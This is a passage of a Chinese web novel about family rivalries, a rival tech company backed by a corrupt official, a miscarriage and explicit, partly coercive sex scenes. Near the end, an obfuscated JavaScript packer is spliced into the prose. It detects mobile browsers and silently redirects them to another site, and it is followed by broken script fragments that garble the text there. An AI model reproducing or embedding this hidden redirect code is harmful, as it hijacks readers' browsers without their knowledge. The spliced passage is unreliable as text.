她是见过她那个早死大伯的照片的,虽然也帅,但是比起周伯,到底是逊色一点。 不怪安姨选了周伯,真登对。 如果一切重来,如果让安姨同时认识她大伯和周伯,她毫不怀疑,安姨肯定会选周伯。 一旁的周子琛笑了笑:“哪有你说得那么夸张,我大哥和二姐也很好看的。” “不信拉倒。我可是实事求是的。我就不信,你在学校的时候没收过情书?恐怕收到手软了吧?”雷小雪离开了他的电脑桌,帖子看完了,再坐这里就不合适了。 周子琛没有否认。 雷小雪坐回窗口:“哎,真羡慕你们这些长得好看的,我就可怜咯,长这么大,都没有人给我写过情书。” “你少来吧,我二姐跟我说过,你高中的时候就被人追求,老师还请家长了。”周子琛忍不住翻白眼。 雷小雪抓起靠枕扔到他身上:“那又怎么样,我又不喜欢他,再说了,人家谦虚一下都不行?不是在夸你好看吗?” “好好好,是我不识好歹。”周子琛接住抱枕,想了想,不还给她了,反倒是开始赶客,“你还不走?我要睡觉了。” “你少来,我知道你是个夜猫子。”雷小雪不想出去,太尴尬了。 也不知道周伯是怎么镇定自若的跟她奶奶聊天的。 哎,还是周伯心胸宽广。 要不然也不能把她杰哥和蕾蕾姐养大。 待遇一点也不比他亲生的孩子差。 真是难得一遇的好后爸呢。 可惜了,两家这个关系,她和周子琛是绝无可能的。 想到这里,她默默的垂下眼睫,靠在窗口,安静的看书。 周子琛不好再说什么,只得把门打开,要不然孤男寡女的,像什么。 很快,汤正阳回来了。 “小雪,走,我送你和奶奶去酒店。”作为家里的老大哥,汤正阳总是有着超乎常人的责任心,送了这个送那个,像个陀螺。 再次回来的时候,发现其他人都睡了,只有老丈人在客厅坐着等他。 汤正阳走过来坐下:“爸,没睡呢?” “我已经让人打听清楚了,你们怀疑的男人叫彭家豪。柴娟是他的情.妇之一,今天下午,柴娟见了一个女人,符合秋瑶的特征。这是她们两个的住处地址,电话号码。还有,秋瑶的假名叫季梦遥。让你手下的人先不要轻举妄动,先盯着她们,徐徐图之。”周中擎把写满信息的纸条递给他。 汤正阳接过来看了看:“还是您老人家厉害,小雪还想让她表叔帮忙调查呢。” “她也是好心。”周中擎一点也不意外。 毕竟她那个表叔,是他的手下败将。 那么再一次被他打败,也是情理之中了。 拍拍女婿的肩膀,叮嘱道:“千万沉住气,这个男人的弟弟正好跟我朋友在包工程,等我先接触看看,再说其他。” “爸,这事你别管了,我来处理吧。”汤正阳不忍心,老丈人不容易啊,又出钱又出力的。 他怎么好意思再让他老人家蹚浑水。 周中擎笑着起身:“这就是说傻话了,他要害我的两个女婿,我能袖手旁观?换你你能吗?” 汤正阳沉默了,反握住肩上的手,心里暖暖的,嗓子却堵得慌,忍不住红了眼眶:“爸……” “一声爸,一辈子的爸,你说是不是?”周中擎笑笑,起身回房去了。 汤正阳默默注视着他的背影,轻轻的叹了口气。 总得老丈人背负了太多太多。 他不忍心,一定要分担一些的。 回到房间,他赶紧给他手下打电话。 眼睛有疤的男人回道:“大哥,李全优刚做完变性手术,还在恢复期呢,现在就要我回去吗?” “不用,看住他,让他老老实实在泰国赚钱。你给你弟弟打个电话,让他在北京给我盯个人……” * 吴旭东回到大院的时候,周子琰已经倒在沙发上睡着了。 他轻手轻脚的关了门,却还是吵醒了周子琰。 她睁开眼,松了口气:“回来了,叶奶奶没跟我爸吵起来吧?” “没有,她还是挺和气的,就是喜欢多心。”吴旭东拽了她一把,回房间去。 周子琰松了口气:“其实你今晚不用回来的,明天还要去见那个女保镖。” “不行,我得回来,今天是小年夜。”吴旭东把孩子放下。 今晚他妈妈没有跟过来,陪叶春梅去了。 所以阿澈的小床要放在他们房间,要不然夜里有个什么动静,听不见。 不过,两口子还想腻歪呢,只得关了灯,盖上被子,动静小一点。 事后,吴旭东靠在床上:“你知道阿澈多怪吗?居然不肯叫叶春梅。” “那也正常,她也不叫孙谦的妈。这小家伙知道哪些人好相处,哪些人需要保持距离。”周子琰一点也不意外,这小家伙不正是随了她和吴旭东吗? 三年前的吴旭东,那可是个天王老子来了都不给面子的主。 吴旭东翻了个身:“阿澈倒是对小雪挺热情的。我总觉得叶春梅想撮合小雪和子琛。” “她撮合她的,成不成的子琛自己有数。咱们不用操这个心。”周子琰拽过吴旭东的胳膊,睡觉。 新年很快过去。 一切风平浪静,以至于吴旭东跟周子琰都在怀疑,是不是他们太过草木皆兵了。 不过,很快,吴旭东发现了不对劲。 他那科技公司的对门,开了另外一家科技公司。 开业的那天,他可算是看清楚了,剪彩的女人,正是柴娟。 旁边的女人戴着墨镜和口罩,怕人认出来,多半是秋瑶。 92. 内鬼(二更) 剪彩结束,秋瑶跟着柴娟去了楼上。 彭家豪大手笔,直接给她们买了一栋写字楼。 这么一来,既有一个公司做套子,把他的美娇娘们安排一个体面的去处,也能有个堂而皇之的池子,存放他收受的赃款。 至于楼里的员工,也都是彭家豪安排的。 只有研发部门是正经的大学生,或者归国博士。 其他部门,则都是跟他有利益输送的。 不是这个大老板的子女,就是那个同事的远亲。 总之,这是一个精心打造的利益城堡,科技公司只是它的外壳。 柴娟因为怀了个孩子,所以地位比秋瑶高一点,被安排做了公司副总。 秋瑶则是市场部经理。 两人到了顶楼办公室,敲了敲门。 商春深头也没抬:“请进。” 柴娟进来,特地拉开百叶窗,看着对面的写字楼。 毕竟两栋楼之间隔着大街,她看不清对面的情况,只知道吴旭东的办公室也在顶层,跟这间办公室正对着。 商春深知道她跟吴旭东的过节,干脆打开抽屉,递给她一个望远镜:“拿去。” “没看出来啊商总,你也喜欢偷窥?”秋瑶坐下,笑着掏出一把瓜子,优哉游哉的磕了起来。 商春深漫不经心的看了她一眼:“你倒是逍遥,把公司当成消遣娱乐的地方了?” “不然呢?我学都没上完,没本事做研发。至于你们,也没研发出什么东西来让我跑市场啊,不消遣还能怎么办?”秋瑶被关了一年,怨气冲天。 如今只要不让她坐牢,她什么都肯做。 商春深冷笑道:“既然没本事创造价值,那就学学柴娟,怀个孩子,母凭子贵。” “呦,你怎么这么酸啊,是不是恨你没有子宫,不能跟我们一样少奋斗二十年啊?”秋瑶叼着瓜子壳,吊儿郎当的。 商春深头疼:“不可理喻,唯女子与小人难养也。” “你不是小人?这公司你出了几毛钱啊,也好意思挂名做老总?”秋瑶怼人不倦。 被关的怨气总得找个人发泄。 商春深懒得跟她计较,不屑道:“好男不跟女斗,你要是没事赶紧走,别来打扰我办公。” “说的好像你真能研发出什么东西来似的。你要是这么厉害,怎么会在硅谷混不下去啊?装什么,真不害臊。”秋瑶蹭的一下站起来,趾高气昂的走了。 气得商春深脑袋疼。 只得揉了揉太阳穴:“柴娟你也出去吧,别烦我,真是受不了你们女人,屁事不干,就知道添乱。” “你就是屁事不干的人生的,有本事让你老子生。”柴娟平静的放下望远镜,坐在对面的椅子上,不打算离开。 商春深放下手里的笔:“你们两个实在闲得无聊可不可以去逛街,别来烦我?” “谁说我无聊了?我问你,吴旭东的公司研发出来什么产品了吗?咱们要不要跟他们打擂台,还是各做各的?”柴娟毕竟在彭家豪的资助下上完了大学,做事比秋瑶靠谱一点。 商春深从抽屉里拿出一份行业分析给她:“他们公司全都是一帮书呆子在搞研发,说实在的,咱们公司未必搞得过他们。首先,人员配置里面,咱们的闲杂人等太多。其次,待遇方面不如他们。就算我想挖人,也有难度。你要是真想帮忙,就找你男人说说好话,提高一下研发组的待遇。这样我才有底气跟吴旭东打擂台。” “现在这待遇还不够高吗?”柴娟说话的时候,再次拿起望远镜,对准了对面的窗口。 下意识站了起来。 看到了,她看到了! 吴旭东的办公室很宽很大,里面居然有张婴儿床。 一个六十左右的老妇女正在旁边的沙发上陪孩子玩儿。 沙发旁边的窗口,则站着一男一女两个戴着墨镜的人。 看那架势,应该是保镖。 柴娟正准备靠近些,看看吴旭东的唇形在说什么。 结果下一秒,对面的百叶窗直接合上了。 “糟了,被他发现了。”柴娟丧气的放下了望远镜,“这个男人太警觉了,居然请了保镖。” 商春深懒得再跟她啰嗦,催促道:“赶紧出去,别打扰我。” “等等,正事还没说完呢!你们研发组现在月薪五百,还嫌低啊?别的单位月工资也就两三百。”柴娟坐下,不理解商春深为什么胃口这么大。 商春深嗤笑道:“那你知道吴旭东那边研发组工资多少吗?” “多少?” “应届本科生八百,研究生以及有三年以上工作经验的一千,博士以及有五年以上工作经验的一千二。”商春深虽然跟吴旭东合作不成,但他是打心眼里佩服吴旭东的魄力。 那个男人,知道把好钢用在刀刃上。 柴娟不禁目瞪口呆:“这么高?他哪来这么多钱?” “知道华美电器吗?厂长跟他以兄弟相称,他的家电专卖店去年已经开到外市去了。更不用说,他还有服装厂和服装店。他的利润除了给员工发工资,都用来搞研发了。”商春深指了指自己面前笨重的台式电脑,“我这里头,现在安装了一款自动报关系统。知道是谁研发的吗?” “吴旭东的公司?” “没错,要不是我有研究所的背景,我都拿不到这套系统。这套系统目前只在各大研究所搞封测,一旦测试通过,就可以正式投入使用了。你能想象出来,那会是多么巨大的利润吗?而且,一旦这个系统测试合格,他还准备研发全国联网的警务系统。这小子奸得很,知道这些东西市场潜力巨大,专门盯着国内的缺口。”商春深说话的时候,咬牙切齿的。 真是气死了,要不是他小姑的事情捣乱,如今这套系统也会有他的一份子。 可惜了,可惜啊。 所以,无论如何,他要抢在吴旭东的公司正式推出这套系统之前,把这套系统搞清楚,然后变成他们的,抢走吴旭东的生意。 柴娟陷入了漫长的沉默。 过了很久才问道:“你需要我做什么?” “你先告诉我,你对他什么态度?单纯的怨恨,还是爱而不得的报复?”商春深不是个傻子,这个女人一直盯着对面看,显然对吴旭东有着别样的心思。 柴娟没有回答。 低头抚摸着自己微微隆起的小腹。 过了很久才发出一声叹息:“如果有得选,我希望我从来没有认识他。” “那就是爱而不得了。”商春深笑笑,“那你给我交个底,你能接受我把他整到什么地步?家破人亡?还是留点体面?” “我不知道,你让我想想。”柴娟很痛苦,起身出去了。 商春深挑眉:“女人果然都是祸水,成事不足败事有余。” 说完,脑子里闪过一个女人的面庞,不禁苦笑。 当然,除了安小蕾。 可惜她成了别人的新娘。 而且已经当妈了。 既然是别人的老婆和妈妈,那他还留什么情面呢? 所以这句话倒也没错,祸水,都是祸水。 * 吴旭东很忙,一早过来,便收到了研究所的测试反馈,有几个地方需要进一步改进。 他让两个保镖守着他的孩子和老妈,打算出去开个会。 转身的时候,女保镖宋明莉提醒他:“姐夫,对面有个女人在用望远镜偷窥咱们这边。” 吴旭东回头,注意到了窗口一闪而过的女人。 赶紧摆了摆手,让宋明莉把百叶窗拉起来。 叮嘱道:“阿澈上厕所的时候你也要跟着,寸步不离。” “放心吧姐夫,周姐都叮嘱过了,我会格外小心的。”宋明莉也是周子琰带过的兵。 一米七的身高,结实的肌肉,是个身手很不错的练家子,可惜有次任务里伤到了左眼,只能离开了部队。 周子琰已经拜托朋友帮她预约眼角膜手术了,只是一直没有等到合适的供体。 她也不着急,先安心帮忙照看阿澈。 毕竟这种事强求不来。 吴旭东看着她左眼的眼罩,好奇道:“你右眼视力多少?” “五点零。”宋明莉笑笑,“放心吧姐夫,我一只眼睛也能看到对面,只是瞄准的话有点偏差。反正退伍了也不让配枪的,不影响什么。” “嗯,别急,医院那边预约过了,一有合适的就会让你去做手术。”吴旭东出去了。 宋明莉笑笑,摸了摸自己的左眼。 手术费太贵,她自己是负担不起的,家里还有弟弟,爸妈早就不管她了。 虽然组织上安排了工作给她,可是远不如周姐这边的待遇好,所以她毫不犹豫的跳槽了。 她走到沙发前蹲下:“阿澈,要上厕所吗?” 阿澈摇摇头,拿起积木往她怀里塞:“姨姨,玩。” 宋明莉笑着坐下,一起堆房子。 谈三娘见状,起身出去了:“我去给阿澈冲奶粉。” “哎,婶子你慢点,小心烫。”宋明莉起身,帮忙把门开开。 等谈三娘回来喂奶粉的时候,她才回到窗口,扒开百叶窗的缝隙,看了看对面。 “对面好像还在招人,楼下好多人进进出出的。”宋明莉跟男保镖陶俊说了一声。 陶俊也是个退伍兵,性格木讷,不爱说话。 闻言只是扒开百叶窗看了眼。 宋明莉很快注意到了一个女人:“怪了,这个女人进出好几次了,每次都会换一身衣服,她在干嘛?” 陶俊不知道,也不想点评。 宋明莉赶紧问道:“婶子,我可以用一下姐夫的相机吗?这个女人好可疑啊。” “用吧,别被对面发现就行。”谈三娘很好说话的,小宋也是职责在身,为了排查周围的可疑人士,不是闲得无聊多管闲事。 很快,宋明莉出去了,去消防通道的窗口,拍得清楚一点。 回来后给谈三娘看了看:“婶子你看,这女人十分钟换了三套衣服,还在换。她好像在绞尽脑汁,想进那个公司。会不会是对面公司的仇家?” 仇人的仇人就是朋友,可以拉拢一下。 谈三娘摇摇头:“不清楚,等你姐夫回来你问问。” 也好,宋明莉不敢自作主张,赶紧把相机放了回去。 吴旭东一直到午饭时间才从会议室出来。 回到办公室的时候,大家已经在吃饭了。 他的盒饭摆在桌子上,陶俊买的。 这是陶俊的任务之一,每个月会领一千块的饭费,到了饭点就出去买饭。 吴旭东打开饭盒,看到了桌子上的照片。 拿起来一看,愣住了:“什么时候拍的?” “姐夫,今天上午拍的。”宋明莉吃饭快,狼吞虎咽的,已经在擦嘴了。 吴旭东赶紧起身,扒开百叶窗看了看。 人早走了。 宋明莉赶紧问了问:“姐夫,你也觉得她可疑吧?” “我认识她。”吴旭东把王五毛的照片倒扣在桌子上。 思来想去,他拨通了一个尘封的号码。 王腾虎听到他的声音还挺意外的,喝水都给呛着了。 “你找我?什么事啊?我这几年什么都没做啊。” “王五毛这几年在哪儿?” “不知道啊,她一把火把家里烧了,后来就失踪了。” “其他几个人呢?” “都结婚生子了。二毛和四毛都生二胎了。” “王五毛跟她们一点联系都没有吗?” “没有,一点消息都没有,我对天发誓,绝对没有骗你。” “行,知道了。” “等等,别挂。” “什么事?” “周指导升了是吗?” “嗯。” “恭喜啊,听说你当爸爸了。” “谢谢。” “你还恨我吗?我其实也是不得已,我……” 吴旭东懒得听他废话,无非是装可怜卖惨,希望他原谅,最好是拉一把,让王腾虎挪挪窝,去个好单位好职位。 做梦。 吴旭东直接挂了电话。 王腾虎叹了口气。 除了后悔,还是后悔,哎。 * 吴旭东吃完饭,把楚劲雄叫了过来。 这小子最近不去服装厂帮忙了,而是来了科技公司,在研发组帮忙。 毕竟理工科出身,就算从头开始学计算机,也很好上手。 看到王五毛的照片,楚劲雄很是意外:“她来这里了?想做什么?” “不知道,总之她不太可能害我。”吴旭东去了旁边的会议室,跟楚劲雄单独聊聊。 楚劲雄沉思片刻:“要我把她找出来吗?” “不用,你帮我盯着点,我不在公司的时候别出什么乱子就行。我不想跟她见面。”吴旭东虽然不恨王五毛,可她毕竟是王大柱的女儿。 恨屋及乌,多少会有点膈应的。 楚劲雄点点头:“放心,我明白该怎么做。” “你也老大不小了,谈了吗?要不我给你介绍个?”吴旭东笑笑,关心起了这小子的个人问题。 楚劲雄叹气:“谈了一个,吹了,嫌弃我是个加班狗,没空陪她出去浪漫。” “你这 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算了,起码成功进入这家公司了。 她换上清洁工的制服,楼上楼下的,打扫楼道和卫生间。 顺便留心一下,那个恶心的柴娟在哪个办公室。 为此,同事不愿意去的地方她去,同事嫌脏的地方也是她来负责。 下班的时候,可算是弄清楚了。 柴娟在顶楼,跟那个恶心人的季梦遥一起,办公室紧挨着。 王五毛换下清洁工的制服,换回自己的衣服,戴着鸭舌帽离开。 到了公交站台,她撕下乘车的月票,回住处。 压根不知道身后那个穿着兜帽的男人一直在盯着她。 当天晚上,吴旭东在大院陪孩子玩积木的时候收到了电话。 “东姐夫,搞清楚了,王五毛在大学城旁边租了个房子。她应聘到商鼎科技做清洁工了。” “你跟她说话了?” “没有,我跟踪她来着,不知道她是敌是友,暂时没有露面。” “她一个人吗?” “嗯,跟人合租的,都是外地过来务工的一些老大姐老阿姨。” “嗯。” “目前不清楚她进商鼎科技是别有用心,还是纯属巧合,我会盯着她的。” “你跟岑瑾见面了吗?” “见了,不是我喜欢的类型,算了。” “那你自己跟岑老哥说。” “说过了。” “那挂了,我哄阿澈睡觉。” “等等,我听岑老哥说,商鼎科技走后门拿到了咱门的封测系统,这事你知道吗?” “别担心,那么多加密措施,商春深未必破解得了。” “可他毕竟在硅谷工作过,咱们的人,技术未必赢得了他。” “放心,我有后手。” “真的?” “嗯。” “什么后手,说我听听。” “保密。” 吴旭东挂断电话,抱着阿澈去了她的房间。 晚上他和孩子回岛上的话,两个保镖会住在城里码头旁边的房子里,他租了五年,不贵。 等白天保镖再跟他一起去公司。 所以这会儿他需要自己哄孩子睡觉。 至于他老妈,明天蕾蕾姐出月子,做婆婆的回去帮忙张罗孩子的满月酒了。 周子琰回来的时候,他把王五毛的照片拿了出来,说了说商鼎科技的事。 周子琰沉思片刻:“我怎么觉得王五毛是别有用心呢?你看她,换了这么多套衣服,显然是有备而来。如果只是为了一个清洁工的工作,没必要。而且待遇没你公司好。” “你觉得她想做什么?” “帮你?”这是周子琰唯一想到的可能,毕竟吴旭东也帮过王五毛。 他们两个虽然不是亲姐弟,但其实还是有一点姐弟情分在的。 一个为了她不被卖掉,大雪天的跪在地里,跪出了风湿。 一个为了他不被困在王家沟,差点被王大柱打死。 其实周子琰甚至怀疑,王五毛可能对他有男女之情。 也许还有愧疚和弥补的心理。 总之,帮忙的可能性远大于捣乱的可能性。 吴旭东把照片扔在茶几上,陷入了沉思。 “静观其变吧小东。”周子琰知道他的心里不好受。 毕竟王五毛没有做错什么。 如果王五毛真的帮他,那他就更难受了。 但是人啊,管得了自己管不了别人,不是吗? 吴旭东点点头:“睡吧。” 第二天,米饭的满月酒办得非常盛大。 地点选在了自家酒店的二楼宴会厅。 阿澈看到群星拱月的弟弟,也要过去凑热闹。 连拍照的时候都要搂着弟弟。 一旁的安一方笑着说道:“说起来,这么多哥哥姐姐弟弟妹妹,也就他俩最亲了。” 既有父系的血缘,也有母系的亲缘。 爸爸是同父同母的亲兄弟,妈妈是同母异父的亲姐妹。 真的只比亲姐弟差了一点点,比其他那些堂的表的兄弟姐妹都亲了一截。 吴旭东笑着点头:“是这样,所以阿澈喜欢米饭,走哪儿都要跟着。” “可惜了,这年头只让生一个,不然你跟子琰也生个儿子,你大哥跟蕾蕾也生个女儿,这样就完美了。”安一方笑着抿了一口酒。 吴旭东倒是觉得没什么不好的。 “一家一个,可以把父母的爱全部浇灌给孩子,多好。”吴旭东很知足,他家阿澈就是最好的。 当然,在大哥心里,米饭也是最好的。 正聊着天,电话响了。 商春深咬牙切齿的问道:“吴旭东,我的公司是不是被你安插了内鬼?我的电脑怎么被人砸了?连我的系统盘都丢了!” 吴旭东:…… 对不起,好想笑啊。 哈哈哈哈。 他不客气的嘲讽道:“哈哈哈,你怎么这么逗呢,我为什么要安插内鬼?你有什么值得我惦记的吗?是不是你心里有鬼,不打自招啊?来吧,说说,你的电脑里都有什么?” 商春深:…… 刚准备反驳,便听秋瑶惊慌失措的跑进来喊道:“不好了,出事了,柴娟流产了,快,帮我抬她进电梯,我搬不动她。” 93. 离婚 不得不承认,有些人只适合读书搞研究,完全没有管理方面的才能。 就连偷取别人的劳动成果,最后都是竹篮打水一场空。 面对连夜赶来的彭家豪,商春深一句话也说不出来。 彭家豪盛怒之下,摔了秋瑶递过来的保温杯。 可怜的杯子,咕噜噜滚出去好远,水洒了一地,就像柴娟摔倒时一样狼狈。 秋瑶硬着头皮回答道:“我们调查过了,是员工带了午饭过来,去小厨房热菜的时候,把汤给洒了。柴娟当时拿着开会的文件,没看清楚,一脚踩上去就滑倒了。真不是谁故意害她的,我对天发誓。” “你要我怎么相信你?”彭家豪都要气死了。 他跟他老婆结婚二十年了,家里只有两个女儿,本打算再努努力,生个儿子,结果计划生育开始了。 已经生育多个的没事,但是计生政策施行之后再生的话,他就要丢工作了。 只能背地里搞点小动作。 反正别管孩子从哪个女人的肚子里爬出来,只要是他的种就行。 可惜,他好像真的命里无子,这都多少个女人了,不是这个怀不上,就是那个会流产。 没有一个坚持到平安生产的。 秋瑶不得不提醒他:“会不会是你老婆早就知道了?你仔细想想,你这么多小老婆,没有一个给你生出孩子的。” 彭家豪陷入了沉默。 看不出来啊,完全没有任何征兆。 他老婆天天就爱搞事业,不是在建筑事务所,就是去学校带学生。 自家的两个女儿也很上心,学习生活都是她一把抓,完全没有他什么事。 而且她对他的态度一如既往,以至于他以为自己保密工作做得很好。 毕竟,一般而言,一个女人一旦知道自己遭受背叛,不都是又哭又闹的吗? 可是如果说他老婆不知情,也确实不合理。 这都多少次了,回回都是三四个月的时候出事流产。 他不得不问了问:“热菜的员工是哪个?” “这我就不知道了,当时那么多人来来往往的,总之,我听到尖叫声就冲出去了,我已经尽力了。而且现场的人我都问了,大家忙着吃饭,没人注意有没有人推她。要不你去问问柴娟?”秋瑶服了,人都来了,去医院看看啊。 彭家豪不肯去。 开什么玩笑,刚流产的女人最是晦气了。 万一死去的胎儿化作小鬼缠上他,那他还怎么青云直上? 只能扔了一万现金给秋瑶:“你好好照顾她,等她出了小月子我再来。” 秋瑶服了,这个狗男人,真无情。 可是谁让他神通广大,可以捞她出来呢。 她还是乖乖的把钱收了:“那她要是问我,我怎么说?” “就说我出差了,这都不会?”彭家豪翻了个白眼,视线从秋瑶娇艳的脸上逡巡一圈,竟然看不到一丝一毫对他的留念。 他来气了,转身往隔壁的办公室走去:“跟我来。” 秋瑶一头雾水,直到被狗男人扒了衣服,摁在沙发上发疯,她才知道他又犯病了。 这是个神经病,只要女人不对他摇尾乞怜,他就犯病。 秋瑶很想过几天安生日子,不禁叹了口气,努力讨好他。 彭家豪这才满意了,看着女人一声一声求饶,伏低做小,自尊心得到了空前的满足。 事后夺走了秋瑶手里的避孕药:“不准吃,给我生个儿子!只要你生个儿子,今后我的财产都是你和儿子的。” 秋瑶暗暗骂了一句神经病,脸上却堆满了笑:“这不好吧,柴娟刚流产我就怀孕,她会怎么想?你不要挑拨我们的关系好不好?” “那我调你回北京,她看不到你不就得了。”狗男人不穿衣服,也不知道是想显摆自己发福的身材还是怎么。 秋瑶暗暗在心里骂狗男人,她笑着反问道:“你还没弄清楚谁下的黑手,也敢调我回北京?万一真是你老婆安排的,我回去不是羊入虎口吗?你就听我一回吧,起码等上两三个月再让我要孩子。一来柴娟心里会好受一点,二来,也有时间排查隐患,总不能我怀上了也被搞流产吧?那不是前功尽弃?” 这话倒也没错。 彭家豪看了眼垃圾桶里的避孕药:“你还有吗?” “有。你放心,柴娟的事绝对跟我没有关系,你把调查重心放在跟你老婆有关联的人身上就行。”秋瑶说了句正确的废话。 狗男人能有今天,一整个关系网都跟他老婆密不可分。 查起来谈何容易。 好在公司就这么多人,两三个月的时间,应该够了。 彭家豪起身,捏着秋瑶的下巴,居高临下俯视着她:“你最好真的是为了柴娟和调查,三个月后我可不准你再吃这个了。” “你可以去北京睡女人啊,柴娟看不见,我也不知道,只要躲着你老婆就行了。”秋瑶虽然委身于他,可她心里还是住着一个念念不忘的男人。 能不怀孩子最好,毕竟她还没有做好准备。 彭家豪这个狗男人显然是看出来了,所以才会这么说。 但她是不会承认的,催促道:“赶紧走吧你,又不去看柴娟,留在这里干什么,生怕对面不知道我们背后的大老板是你吗?赶紧走。” 彭家豪没有说话,用力捏着她的下颌骨,做了个极其羞辱性的动作。 秋瑶忍了,这是服从性测试,也是他寻找男人尊严的手段。 实际上,别看他每次狂啃狗咬,前戏做得堪称一场精彩绝伦的电影。 真到了动真格的,几下就结束了。 狗都比他时间长。 要不是看他有钱,又能给她自由,秋瑶真想提醒他去医院看看。 算了,这种男人的自尊心最是脆弱了,伤不得,要不然只会疯狗一样乱咬人。 秋瑶低下头,认真服务,只求他满意。 等这狗男人终于走了,她第一时间跑到卫生间。 吐不出来就抠嗓子。 直到脏东西全都吐出去了,她才看着镜子里那张被折辱过的漂亮脸蛋儿,恨意汹涌。 周子琛啊周子琛,这一切都是拜你所赐! 老娘不会放过你的! * 周子琛好端端在家里闭目养神,忽然打起了喷嚏,一个接一个,停不下来。 谁在骂他? 应该不是姐夫公司里的那些人,那帮理工男满脑子只有项目,就连恋爱都没空谈。 哪有功夫骂他。 毕竟房价越来越高了,只有年轻时拼搏一把,才能尽快攒下老婆本啊。 有那功夫,还不如心往一起使,赶紧把项目做完拿奖金呢。 那会是谁呢? 他也就认识自家的这些亲友以及公司的人。 总不能是商鼎科技的谁吧? 他赶紧给八舅打了个电话:“舅舅,最近没有人害我吧?” “怎么会有人害你呢?”安八荒安慰道,“放心吧,你跟你姐的命格都很好的。你呢,除了感情上有点不顺,其他都不是事儿。” “感情不顺还算命好啊?”周子琛无语。 安八荒前天赶回来参加米饭的满月酒,今天还没走。 这会儿正在酒店里跟朋友闲聊,听着外甥这话,不高兴了:“你是怀疑舅舅的专业能力,还是怀疑舅舅不关心你所以信口胡诌?” “没有没有,我就是不理解,这也算好命吗?” “废话,跟你两个姐夫比起来,简直就是一个天上一个地下,这还不好?”安八荒说的可是大实话。 感情不顺而已,又不会伤筋动骨的。 也不是婚姻不顺。 周子琛撇撇嘴:“知道了舅,那你忙吧,我睡觉。” “你放心,你要是真的有什么大事,我能不管吗?”安八荒听出来他情绪低落,还是安慰了一句。 周子琛哦了一声,挂断电话。 感情不顺,所以是秋瑶在骂他吗? 怪了,他不找秋瑶算账就不错了,她居然还敢骂他? 果然老鼠的女儿会打洞。 正感慨呢,客厅传来行李箱滚动的声音。 他赶紧跳下床,发现二姐跟正阳大哥大包小包的,抱着孩子准备走了。 他很是不舍,扑上去把米饭接过来抱了抱:“这就走了啊,是不是要等过年才能回来?” “过年尽量吧,最近研究所忙,你姐连四个月产假都不想休完,现在就想回去上班了。”汤正阳早就知道自己老婆是个事业心强的女人,并不意外她会这么做,只是有些心疼。 子琰可是实实在在的休息了四个月呢。 他也想让安小蕾多休息休息。 可是这个女人,一点也不想耽误所里的项目,说什么也要回去。 只好顺着她。 周子琛叹了口气:“好吧,你们走了,家里就只有我跟老爸了,好冷清啊。” 毕竟妈妈和小姨罗素漪要跟去那边照顾孩子。 两个长辈,两个小孩,正好互相搭把手。 汤正阳拍拍他的肩膀:“那你加把劲,赶紧成家,等你有了孩子就不冷清了。” “我?我还早呢。”周子琛赶紧把孩子还给他,“我开车送你们。” “走。”汤正阳没有拒绝,反正东西多,人也多,一辆车子坐不下。 吴旭东带着孩子赶过来的时候,人已经走了。 大平层里空荡荡的,莫名勾起了他的感伤。 成年人的世界就是这样的,匆匆相聚,又各自天涯。 哪怕是至亲手足,也不得不为了各自的小家庭而分开。 他把阿澈放下:“跟奶奶和姨姨玩一会儿。” 一旁的陶俊见了,赶紧过来帮忙。 男人收拾,女人带娃,这样的分工挺不错的,陶俊心里默默想着,等他以后结婚了,他也这样。 正忙着,大哥大响了。 陶俊赶紧跑到茶几那边,把大哥大拿过来递给吴旭东。 “喂,东姐夫,我查过了,柴娟流产是她自己不小心摔倒的,跟王五毛没关系。” “那就好。” “我能问问吗?为什么你要这么说?你同情柴娟?” “想什么呢?就连法律都会对孕妇网开一面,哪怕是死刑也会延缓执行。这是最起码的人性。” “那就好。真不是王五毛做的,当时她跟另外两个清洁工在一楼仓库收拾,柴娟在顶楼出的事,她又不是神仙,会瞬间移动。” “商春深的电脑是她砸的吧?” “没有证据支持这个推论,不过我相信,除了她没别人了。她很聪明,一点痕迹都没有留下,警察也没有采集到指纹,肯定是戴手套了。听说商春深气急败坏,正在公司做大摸底呢。” “他背后有人,是彭家豪吗?” “是,彭家豪昨天来过,我拿照片给另外两个清洁工看了,就是他。” “别让她们乱说。” “放心,封口费给了,她们也答应了,接下来会帮我盯着商春深的。” “你自己也小心点。” 吴旭东挂了电话。 松了口气。 柴娟出事他是不关心的,他只想知道王五毛的手上有没有沾染一个小生命的鲜血。 不是她就好。 晚上回家,他跟周子琰说了说。 周子琰问他:“如果是她做的,你是不是就要跟她彻底划清界限了?” “当然,我不能接受。你会不会觉得我太圣父了?”吴旭东有些彷徨,不想因为这个被周子琰讨厌。 但他不想对她说谎,夫妻之间,坦诚才是信任的基石。 周子琰抱住他亲了一口:“不会。这叫没有泯灭人性。古往今来,哪怕是两国开战,对孕妇下手的都会被人唾弃。任何时候,有底线的人都会比没底线的人走得长远。你能这样坚持底线,我很高兴。” “琰琰,你总有办法夸我。”吴旭东松了口气,她不生气就好。 周子琰笑着捏捏他的脸颊:“我说的可是大实话。再说了,我夸你不好吗?你是我男人,我不夸你我夸谁?” “琰琰……”吴旭东紧紧抱住这个女人。 她太好了,每次在他怀疑自己的时候,她都会给予积极的及时的肯定。 她就是他的太阳,他愿意一直绕着她旋转,旋转,旋转…… 没忍住,很是疯狂的索取了一回。 还好团级干部的房间大,老妈和阿澈住在另一头,他稍微克制一点,不会吵到她们。 事后,周子琰摸了摸他的膝盖,还好,没忘了贴风湿膏。 不过根据她的观察,他应该是快好了。 最近主动出力的频率越来越高了。 真好。 其实这种事,谁出力多一点都无所谓,她只希望他没病没痛的,身体康健,平安顺遂的活下去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14001465|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 转身,她抱着心上人的脖子,静静地拥吻。 汗水打湿了枕头,她笑着问他:“还有吗?” “有,等等。”吴旭东知道,他老婆是个胃口很大的女人。 可他恢复需要时间。 两人闲聊了一会儿,才被新一轮的疯狂摁下暂停键。 夜深人静,吴旭东刚要睡着,楼下传来了孩子的哭声。 